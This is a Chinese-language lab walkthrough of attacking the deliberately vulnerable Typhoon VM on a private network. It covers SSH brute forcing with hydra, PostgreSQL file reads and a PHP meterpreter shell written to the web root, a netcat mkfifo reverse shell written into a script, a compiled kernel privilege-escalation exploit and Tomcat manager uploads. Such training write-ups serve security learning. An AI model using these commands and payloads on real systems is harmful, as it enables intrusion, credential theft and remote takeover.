Typhoon靶机渗透测试

face

 

前言

Typhoon这台靶机有比较多的漏洞,最多的就是由于配置不当导致漏洞。

 

靶机下载及配置

Typhoon靶机下载地址:https://pan.baidu.com/s/18U0xwa9ukhYD4XyXJ98SlQ 提取码: jbn9

Typhoon靶机ip: 192.168.56.150

kali攻击者ip: 192.168.56.1

 

知识点

nmap
dirb
hydra
msfvenom
内核权限提升
Tomcat manger
Durpal cms
Lotus cms
Mongodb
postgresql未经授权访问
redis未经授权访问
……

 

开始测试

第一步还是开始进行目标靶机网络端口信息收集

nmap -sV -p- -A 192.168.56.150

1

2

3

4

扫描之后发现目标开放了很多的端口比如 21(ftp),22(ssh),25(smtp),53(dns),80(http),…2049(nfs-acl),3306(mysql),5432(postgresql),6379(redis),8080(http),27017(mongodb)等。

竟然发现开放了这么多端口,首先就得一个一个端口去测试(测试一部分)。

21端口(ftp)

nmap扫描结果为可以匿名访问

在浏览器访问,发现什么都没有

5

22端口(ssh)

首先开始是想什么呢,ssh连接需要账号密码的,发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试

6

结果用户存在,于是去想着爆破一下密码,看看是否为弱密码。

使用工具hydra

hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.56.150

7

得到账号密码

username: typhoon
password: 789456123

登录测试

8

25端口(smtp)

在测试时没有测试成功

nc 192.168.56.150 25

9

111端口(nfs,rpcbind)

10

5432端口(postgresql)

第一步msf模块测试一下

use auxiliary/scanner/postgres/postgres_login
set rhosts 192.168.56.150
exploit

11

发现账号密码
username: postgres
password: postgres

登录数据库
psql -h 192.168.56.150 -U postgres

列下目录
select pg_ls_dir('./');

12

读取权限允许的文件

select pg_read_file('postgresql.conf',0,1000);

建表,并使用copy从文件写入数据到表

DROP TABLE if EXISTS MrLee;
CREATE TABLE MrLee(t TEXT);
COPY MrLee FROM '/etc/passwd';
SELECT * FROM MrLee limit 1 offset 0;

成功读取到了/etc/passwd第一行

13

直接读出全部数据

SELECT * FROM MrLee;

15

14

利用数据库写文件

INSERT INTO MrLee(t) VALUES ('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';

16

SELECT * FROM MrLee;
会显示里面有一句hello,MrLee
如上可见,文件可以成功写入,并成功读取到源内容。

接下来就可以利用 “大对象” 数据写入法

SELECT lo_create(6666);
delete from pg_largeobject where loid=6666;
//创建OID,清空内容

17

接下来向”大对象”数据写入数据(木马),使用hex:

在写数据之前,先生成一个木马

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=6666 R > /Desktop/shell.php

18

打开这个shell.php复制转换成16进制

19

insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));

20

导出数据到指定文件:

SELECT lo_export(6666, '/var/www/html/shell.php');
//默认导出到安装根目录 也可以带路径自由目录写shell

21

接下来就是访问了(先msf开启监听,然后http://192.168.56.150/shell.php)

22

6379端口(redis)

Redis未经授权访问漏洞利用,连接redis

23

这个漏洞有三种方法利用
1.利用redis写webshell
2.利用”公私钥”认证获取root权限
3.利用crontab反弹shell
这三种方法都能可以,但就是利用不了,在这个点我弄了很多遍,决定放弃但在最后发现我写的文件都存在靶机里,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了。

参考链接

其他端口

未完待续

80端口(http)

访问80端口http://192.168.56.150

24

在nmap扫描发现80端口有个/monoadmin/目录,访问http://192.168.56.150/monoadmin

25

选择84mb,点击change database,打开之后出现下面界面

26

然后下面有两个链接点击creds,会发现一个账号密码,跟ssh爆破一样的。

27

username: typhoon
password: 789456123

再次使用ssh连接

ssh typhoon@192.168.56.150

28

竟然再次让我连接上了,这次我就不会这么轻易的放过它了,就想着看看能不能进行提权,于是查看了一下系统信息,不过连接的时候也告诉了系统的信息了

29

发现目标为ubuntu 14.04,去exploit-db搜索这个内核漏洞,然后下载

poc地址:https://www.exploit-db.com/exploits/37292

30

下载之后是一个.c文件,需要编译,把它上传到靶机编译运行

scp /Downloads/37292.c typhoon@192.168.56.150:/home/typhoon/

31

上传之后看一下成功了没,然后编译并运行

ls
gcc 37292.c -o 37292
ls
./37292

成功提权

32

8080端口(Tomcat)

浏览器访问 http://192.168.56.150:8080

33

发现需要登录

34

于是想用msf测试存在账号密码

36

37

等到账号密码
username: tomcat
password: tomcat

利用mgr_upload漏洞

39

python -c 'import pty;pty.spawn("/bin/bash")'进行交互

最后再tab文件里发现一个.sh文件具有高的执行权限,就想着往里面写代码进行再次提权.

40

这时需要msfvenom创建bash代码

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.1 lport=5555 R

41

将生成的恶意代码添加到script.sh文件中

echo "mkfifo /tmp/qadshdh; nc 192.168.56.1 5555 0</tmp/qadshdh | /bin/sh >/tmp/qadshdh 2>&1; rm /tmp/qadshdh" > script.sh

运行./script.sh之前开启监听

42

开启监听端口

nc -lvp 5555

43

dirb 扫描

在dirb扫描中有cms,durpal,phpmyadmin等

44

Lotus CMS

访问cms:http://192.168.56.150/cms

45

46

利用msf的lotus cms模块

47

48

Drupal CMS

访问drupal: http://192.168.56.150/drupal

50

再次使用msf的durpal cms模块

49

others

在dvwa文件的config配置文件中发现了phpmyadmin数据库的账号密码了

51

username: root
password: toor

访问登录:http://192.168.56.150/phpmyadmin

52

进去之后发现得到一些账号密码,结果发现是在靶机了搭建了两个web测试平台

53

54

 

总结

本次靶机主要是端口渗透,类似于metasploitable2靶机,漏洞产生原因是由于配置不当。又学到了一些思路,哈哈哈。继续努力

(完)